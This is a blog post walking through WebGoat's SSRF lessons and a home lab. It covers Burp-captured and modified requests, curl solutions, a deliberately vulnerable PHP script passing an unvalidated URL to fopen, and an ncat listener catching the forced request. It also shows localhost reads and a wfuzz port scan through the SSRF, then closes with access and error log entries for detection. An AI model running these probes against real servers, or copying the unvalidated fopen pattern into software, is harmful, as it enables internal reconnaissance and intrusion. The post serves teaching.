Sunday, September 5, 2021

Beginning Server Side Request Forgery (SSRF) - WebGoat

In this post, I'm looking at Server Side Request Forgery or SSRF as it is commonly called. To make this learning easy, first up, I'm using WebGoat.

First step, load up WebGoat. Not to run this version of WebGoat, you will need Java Java. See the link below.

C:\webgoat>c:\jdk-16.0.2\bin\java.exe -jar webgoat-server-8.2.1.jar --server.port=8080 --server.address=0.0.0.0 
[main] INFO org.owasp.webgoat.StartWebGoat - Starting WebGoat with args: --server.port=8080,--server.address=0.0.0.0
....
[main] org.owasp.webgoat.StartWebGoat           : Started StartWebGoat in 119.053 seconds (JVM running for 122.512)

With WebGoat started the following was done, next load the browser, pointing it to the WebGoat URL: 

┌──(rootđź’€securitynik)-[~]
└─# firefox http://10.0.0.110:8080/WebGoat &

Next:
1. Login to WebGoat
2. Load BurpSuite
3. Configure the browser to use Burp as the proxy.

With those out of the way, time to take advantage of the SSRF vulnerability. 

First taking a look at what is there, we see we need to "Find and modify the request to display Jerry". 



BurpSuite is being used to intercept this request and ultimately modify it.

The following request was captured by Burp's Proxy module.

POST /WebGoat/SSRF/task1 HTTP/1.1
Host: 10.0.0.110:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 20
Origin: http://10.0.0.110:8080
Connection: close
Referer: http://10.0.0.110:8080/WebGoat/start.mvc
Cookie: JSESSIONID=yfNDt_7hhva93kneXGCkx97Yv34kEP8p1K-Wx-wh
url=images%2Ftom.png

Some key takeaways from above are the POST method, Cookie "JSESSIONID=yfNDt_7hhva93kneXGCkx97Yv34kEP8p1K-Wx-wh" and most importantly for now "url=images%2Ftom.png". Simply replacing "tom.png" with "jerry.png" allows us to complete this first mission.

POST /WebGoat/SSRF/task1 HTTP/1.1
Host: 10.0.0.110:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 20
Origin: http://10.0.0.110:8080
Connection: close
Referer: http://10.0.0.110:8080/WebGoat/start.mvc
Cookie: JSESSIONID=yfNDt_7hhva93kneXGCkx97Yv34kEP8p1K-Wx-wh
url=images%2Fjerry.png

Once this request is forwarded after being manipulated, Jerry now shows up.




Note the above could have also been achieved with curl.

┌──(rootđź’€securitynik)-[~]
└─# curl --header 'User-Agent: SecurityNik' --request POST --data 'url=images%2Fjerry.png' --cookie 'JSESSIONID=yfNDt_7hhva93kneXGCkx97Yv34kEP8p1K-Wx-wh' 'http://10.0.0.110:8080/WebGoat/SSRF/task1'
{
  "lessonCompleted" : true,
  "feedback" : "You rocked the SSRF!",
  "output" : "<img class=\\\"image\\\" alt=\\\"Jerry\\\" src=\\\"images\\/jerry.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">",
  "assignment" : "SSRFTask1",
  "attemptWasMade" : true
}

Taking a stab at the second challenge, by first clicking the "try this" button and got the following 


As with the previous instance, the request needs to be capture.

POST /WebGoat/SSRF/task2 HTTP/1.1
Host: 10.0.0.110:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 20
Origin: http://10.0.0.110:8080
Connection: close
Referer: http://10.0.0.110:8080/WebGoat/start.mvc
Cookie: JSESSIONID=yfNDt_7hhva93kneXGCkx97Yv34kEP8p1K-Wx-wh

url=images%2Fcat.png

Like the first challenge, the "url" parameter value needs to be modified. Time to replace "url=images%2Fcat.png" with "http://ifconfig.pro". The modified and forwarded POST message now looks like:

POST /WebGoat/SSRF/task2 HTTP/1.1
Host: 10.0.0.110:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 20
Origin: http://10.0.0.110:8080
Connection: close
Referer: http://10.0.0.110:8080/WebGoat/start.mvc
Cookie: JSESSIONID=yfNDt_7hhva93kneXGCkx97Yv34kEP8p1K-Wx-wh
url=http://ifconfig.pro

Similarly, this could have been achieved with curl.

┌──(rootđź’€securitynik)-[~]
└─# curl --header 'User-Agent: SecurityNik' --request POST --data 'url=http://ifconfig.pro' --cookie 'JSESSIONID=yfNDt_7hhva93kneXGCkx97Yv34kEP8p1K-Wx-wh' 'http://10.0.0.110:8080/WebGoat/SSRF/task2'
{
  "lessonCompleted" : true,
  "feedback" : "You rocked the SSRF!",
  "output" : "<html><body>Although the http:\\/\\/ifconfig.pro site is down, you still managed to solve this exercise the right way!<\\/body><\\/html>",
  "assignment" : "SSRFTask2",
  "attemptWasMade" : true
}

Now that the basics are done, time to go deeper.

First up, borrowing some code from Acuenix site on SSRF, and storing this on a webserver.

<?php

/**
* Check if the 'url' GET variable is set
* Example - http://localhost/?url=http://testphp.vulnweb.com/images/logo.gif
*/
if (isset($_GET['url'])){
$url = $_GET['url'];

/**
* Send a request vulnerable to SSRF since
* no validation is being done on $url
* before sending the request
*/
$image = fopen($url, 'rb');

/**
* Send the correct response headers
*/
header("Content-Type: image/png");

/**
* Dump the contents of the image
*/
fpassthru($image);}

Accessing the page from Kali to ensure it is accessible.

┌──(rootđź’€securitynik)-[~]
└─# curl --header 'User-Agent: SecurityNik' --verbose 'http://10.0.0.110/vuln.php'
*   Trying 10.0.0.110:80...
* Connected to 10.0.0.110 (10.0.0.110) port 80 (#0)
> GET /vuln.php HTTP/1.1
> Host: 10.0.0.110
> Accept: */*
> User-Agent: SecurityNik
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 29 Aug 2021 02:43:37 GMT
< Server: Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.1
< X-Powered-By: PHP/7.2.1
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host 10.0.0.110 left intact

With a status code of 200 returned. Looks like progress is being made. 

Setting up a "ncat.exe" listener, to see if I can request remote resources.

┌──(rootđź’€securitynik)-[~]
└─# ncat --verbose --listen 9999 --keep-open -4
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999

Running "curl" again, targeting the 'url' parameter. 

┌──(rootđź’€securitynik)-[~]
└─# curl --header 'User-Agent: SecurityNik' --verbose 'http://10.0.0.110/vuln.php?url=http://10.0.0.109:9999/noneExistentPage.html'
*   Trying 10.0.0.110:80...
* Connected to 10.0.0.110 (10.0.0.110) port 80 (#0)
> GET /vuln.php?url=http://10.0.0.109:9999/noneExistentPage.html HTTP/1.1
> Host: 10.0.0.110
> Accept: */*
> User-Agent: SecurityNik
> 

<b>Warning</b>:  fopen(http://10.0.0.109:9999/noneExistentPage.html): failed to open stream: HTTP request failed!  in <b>C:\xampp\htdocs\vuln.php</b> on line <b>15</b><br />
<br />
<b>Fatal error</b>:  Maximum execution time of 30 seconds exceeded in <b>C:\xampp\htdocs\vuln.php</b> on line <b>15</b><br />
* Connection #0 to host 10.0.0.110 left intact

Below looks like the GET request was made to the host at 10.0.0.109 on port 9999.

Confirming the ncat listener received the GET request for the noneExistentPage.html.

┌──(rootđź’€securitynik)-[~]
└─# ncat --verbose --listen 9999 --keep-open -4
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.0.0.110.
Ncat: Connection from 10.0.0.110:8362.
GET /noneExistentPage.html HTTP/1.0
Host: 10.0.0.109:9999
Connection: close

Good stuff! It looks like I was able to get the server to make the request to my "ncat.exe" listener. 

Files can also be read from the local webserver itself, by specifying the IP as 127.0.0.1, localhost, etc., such as following:

┌──(rootđź’€securitynik)-[~]
└─# curl --header 'User-Agent: SecurityNik' 'http://10.0.0.110/vuln.php/?url=http://127.0.0.1:80/index.html' | more
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    97  100    97    0     0  16166      0 --:--:-- --:--:-- --:--:-- 16166
<html>
        <title> This is a test </title>
        <body>
                <h3> This is a test </h3>
        </body>
</html>

Manually probing a remote host for SSH

┌──(rootđź’€securitynik)-[/tmp]
└─# curl --header 'User-Agent: SecurityNik' 'http://10.0.0.110/vuln.php/?url=http://10.0.0.101:22' --verbose

<b>Warning</b>:  fopen(http://10.0.0.101:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_8.4p1 Debian-5
 in <b>C:\xampp\htdocs\vuln.php</b> on line <b>15</b><br />
<br />

Using "wfuzz" to perform a port scan against a few which ports are available on the localhost.

┌──(rootđź’€securitynik)-[/tmp]
└─# wfuzz -c -z range,1-65535 --hw=44 'http://10.0.0.110/vuln.php/?url=http://127.0.0.1:FUZZ' 2>/dev/null 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.0.0.110/vuln.php/?url=http://127.0.0.1:FUZZ
Total requests: 65535

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                
=====================================================================

000000080:   200        167 L    649 W      7576 Ch     "80"                                                   
000000137:   200        5 L      48 W       367 Ch      "137"                                                  
000000445:   200        4 L      35 W       302 Ch      "445"                                                  
000000443:   200        5 L      39 W       328 Ch      "443"                                                  

Total time: 0
Processed Requests: 541
Filtered Requests: 537
Requests/sec.: 0

Looks like I was able to learn about some of the ports available on the local host.

From a different perspective, looking at the timing and the contents of the responses, also helps to provide guidance on whether or not a particular service is available.

┌──(rootđź’€securitynik)-[/tmp]
└─# curl --header 'User-Agent: SecurityNik' 'http://10.0.0.110/vuln.php/?url=http://10.0.0.5:3891/'                     
<br />
<b>Warning</b>:  fopen(http://10.0.0.5:3891/): failed to open stream: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.

Looking at response from a service which is available, we get via a much faster response.

┌──(rootđź’€securitynik)-[/tmp]
└─# curl --header 'User-Agent: SecurityNik' 'http://10.0.0.110/vuln.php/?url=http://10.0.0.5:389/'                     
<br />
<b>Warning</b>:  fopen(http://10.0.0.5:389/): failed to open stream: HTTP request failed!  in <b>C:\xampp\htdocs\vuln.php</b> on line <b>15</b><br />
<br />

Detection
Once the appropriate logging is enabled, all of this activity would be seen in the "access.log" or "error.log" file.

Examples from the access.log file

10.0.0.101 - - [29/Aug/2021:15:45:48 -0400] "GET /vuln.php/?url=http://10.0.0.5:82 HTTP/1.1" 200 464 "-" "Wfuzz/3.1.0"
...
10.0.0.101 - - [29/Aug/2021:15:46:51 -0400] "GET /vuln.php/?url=http://10.0.0.5:106 HTTP/1.1" 200 465 "-" "Wfuzz/3.1.0"
10.0.0.101 - - [29/Aug/2021:15:46:51 -0400] "GET /vuln.php/?url=http://10.0.0.5:100 HTTP/1.1" 200 465 "-" "Wfuzz/3.1.0"
10.0.0.101 - - [29/Aug/2021:15:45:26 -0400] "GET /vuln.php/?url=http://10.0.0.5:53 HTTP/1.1" 200 288 "-" "Wfuzz/3.1.0"
10.0.0.101 - - [29/Aug/2021:15:47:50 -0400] "GET /vuln.php/?url=http://10.0.0.5:389/ HTTP/1.1" 200 302 "-" "SecurityNik"
10.0.0.101 - - [29/Aug/2021:15:47:58 -0400] "GET /vuln.php/?url=http://10.0.0.5:3891/ HTTP/1.1" 200 467 "-" "SecurityNik"
10.0.0.101 - - [29/Aug/2021:15:49:45 -0400] "GET /vuln.php/?url=http://10.0.0.5:389/ HTTP/1.1" 200 302 "-" "SecurityNik"
10.0.0.101 - - [29/Aug/2021:15:50:08 -0400] "GET /vuln.php/?url=http://10.0.0.5:636/ HTTP/1.1" 200 302 "-" "SecurityNik
10.0.0.101 - - [29/Aug/2021:15:51:27 -0400] "GET /vuln.php/?url=http://10.0.0.101:80 HTTP/1.1" 200 2729 "-" "SecurityNik"
10.0.0.101 - - [29/Aug/2021:15:51:38 -0400] "GET /vuln.php/?url=http://10.0.0.101:22 HTTP/1.1" 200 334 "-" "SecurityNik"

Examples from the "error.log" file

[Sun Aug 29 15:47:17.919857 2021] [php7:warn] [pid 7100:tid 1904] [client 10.0.0.101:51888] PHP Warning:  fpassthru() expects parameter 1 to be resource, boolean given in C:\\xampp\\htdocs\\vuln.php on line 25
[Sun Aug 29 15:47:26.872759 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51846] PHP Warning:  fopen(http://10.0.0.5:53): failed to open stream: HTTP request failed!  in C:\\xampp\\htdocs\\vuln.php on line 15
[Sun Aug 29 15:47:26.872759 2021] [php7:error] [pid 7100:tid 1896] [client 10.0.0.101:51846] PHP Fatal error:  Maximum execution time of 30 seconds exceeded in C:\\xampp\\htdocs\\vuln.php on line 15
[Sun Aug 29 15:47:50.697378 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51900] PHP Warning:  fopen(http://10.0.0.5:389/): failed to open stream: HTTP request failed!  in C:\\xampp\\htdocs\\vuln.php on line 15
[Sun Aug 29 15:47:50.698824 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51900] PHP Warning:  fpassthru() expects parameter 1 to be resource, boolean given in C:\\xampp\\htdocs\\vuln.php on line 25
[Sun Aug 29 15:48:19.795943 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51902] PHP Warning:  fopen(http://10.0.0.5:3891/): failed to open stream: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n in C:\\xampp\\htdocs\\vuln.php on line 15
[Sun Aug 29 15:48:19.795943 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51902] PHP Warning:  fpassthru() expects parameter 1 to be resource, boolean given in C:\\xampp\\htdocs\\vuln.php on line 25
[Sun Aug 29 15:49:45.657545 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51914] PHP Warning:  fpassthru() expects parameter 1 to be resource, boolean given in C:\\xampp\\htdocs\\vuln.php on line 25
[Sun Aug 29 15:50:08.938646 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51926] PHP Warning:  fopen(http://10.0.0.5:636/): failed to open stream: HTTP request failed!  in C:\\xampp\\htdocs\\vuln.php on line 15
[Sun Aug 29 15:50:08.938646 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51926] PHP Warning:  fpassthru() expects parameter 1 to be resource, boolean given in C:\\xampp\\htdocs\\vuln.php on line 25
[Sun Aug 29 15:51:33.733636 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51946] PHP Warning:  fpassthru() expects parameter 1 to be resource, boolean given in C:\\xampp\\htdocs\\vuln.php on line 25
[Sun Aug 29 15:51:38.576424 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51948] PHP Warning:  fopen(http://10.0.0.101:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_8.4p1 Debian-5\r\n in C:\\xampp\\htdocs\\vuln.php on line 15
[Sun Aug 29 15:51:38.576424 2021] [php7:warn] [pid 7100:tid 1896] [client 10.0.0.101:51948] PHP Warning:  fpassthru() expects parameter 1 to be resource, boolean given in C:\\xampp\\htdocs\\vuln.php on line 25

That's it for this learning.

References:
























No comments:

Post a Comment